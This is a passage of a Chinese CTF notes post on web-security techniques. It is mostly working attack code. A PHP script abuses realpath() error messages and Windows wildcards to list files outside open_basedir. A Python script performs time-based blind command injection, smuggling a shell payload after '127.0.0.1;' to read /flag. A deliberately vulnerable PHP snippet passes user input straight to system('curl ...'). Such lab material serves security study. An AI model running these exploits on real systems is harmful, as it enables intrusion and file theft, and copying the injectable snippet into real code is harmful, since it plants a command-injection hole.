中的 ‘/./‘, ‘/../‘ 以及多余的 ‘/‘ 并返回规范化后的绝对路径名。返回的路径中没有符号连接,’/./‘ 或 ‘/../‘ 成分。
环境条件:Windows
基本原理是基于报错返回内容的不用,设置自定义的错误处理函数,循环遍历匹配到正则的报错信息的字符来逐个拼接成存在的文件名,另外是需要结合利用Windows下的两个特殊的通配符<和>,不然只能进行暴破。
from mi1k7ea师傅
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php ini_set('open_basedir' , dirname(__FILE__ )); printf("<b>open_basedir: %s</b><br />" , ini_get('open_basedir' )); set_error_handler('isexists' ); $dir = 'E:/wamp64/' ; $file = '' ; $chars = 'abcdefghijklmnopqrstuvwxyz0123456789_' ; for ($i=0 ; $i < strlen($chars); $i++) { $file = $dir . $chars[$i] . '<><' ; realpath($file); } function isexists ($errno, $errstr ) { $regexp = '/File\((.*)\) is not within/' ; preg_match($regexp, $errstr, $matches); if (isset ($matches[1 ])) { printf("%s <br/>" , $matches[1 ]); } } ?>
shell 脚本 延时脚本 利用sqli中延时注入(当然可以布尔)的想法,无回显读取flag
这里有个坑点,在dash 中不支持 {$flag:0:1}这样的字符串截取方式,所以我这边是将/bin/sh
软链接了/bin/bash
若师傅有可以在/bin/sh
下的方案或更好的脚本,望分享👍
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requests import string import time url = 'http://localhost:40080/2020_11_6_no_echo_shell/demo_curl.php?url=127.0.0.1;' flag = "" for i in range(0,20): for j in string.printable: payload = '''flag=$(cat /flag);if [ "${flag:%s:1}" = "%s" ];then sleep 3;fi''' %(i,j) url_second = url+payload #print(url_second) try: res = requests.get(url_second,timeout=2) except: flag+=j print(flag)
1 2 3 4 5 6 7 8 <?php $url = $_REQUEST['url' ]; system("curl " .$url);
后记 这篇文章个人使用,因为很多内容,我是直接copy的,并不能算自己写的。
TODO:
php-fuck
serialize
协议解析产生的问题